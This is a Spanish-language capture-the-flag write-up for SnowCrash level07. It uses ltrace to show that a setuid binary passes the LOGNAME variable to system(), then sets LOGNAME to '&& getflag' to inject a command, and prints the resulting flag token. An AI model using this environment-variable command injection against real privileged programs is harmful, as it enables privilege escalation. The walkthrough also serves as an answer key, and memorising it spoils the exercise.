

7

Level07

En este nivel tenemos un script nada mas. A primera vista, si ejecutamos el script nos muestra por consola `level07` vamos a ver si podemos saber un poco mas sobre este script analizando el binario con `ltrace`.

```
ltrace ./level07
```

```
level07@SnowCrash:~$ ltrace ./level07
__libc_start_main(0x8048514, 1, 0xbfffff7e4, 0x80485b0, 0x8048620 <unfinished ...>
getegid() = 2007
geteuid() = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
getenv("LOGNAME")
asprintf(0xfffff734, 0x8048688, 0xbfffff5e, 0xb7e5ee55, 0xb7fed280) = 18
system("/bin/echo level07 \"level07"
<unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
level07@SnowCrash:~$ |
```

Como podemos ver, el script hace un echo de la variable de entorno `LOGNAME`, lo primero que se me ocurre es viendo que esta función es llamada con un system, probar a crear una variable de entorno que juegue con system y pruebe a ejecutar `getflag`, para ello cambiaremos esta variable de entorno.

```
level07@SnowCrash:~$ export LOGNAME='&& getflag'
level07@SnowCrash:~$ |
```

Ahora voy a probar a ejecutar el script.

```
level07@SnowCrash:~$ ./level07
Check flag. Here is your token : fiumuikeil55xe9cu4dood66h
level07@SnowCrash:~$ |
```

De esta manera podemos obtener la flag de manera sencilla.

`fiumuikeil55xe9cu4dood66h`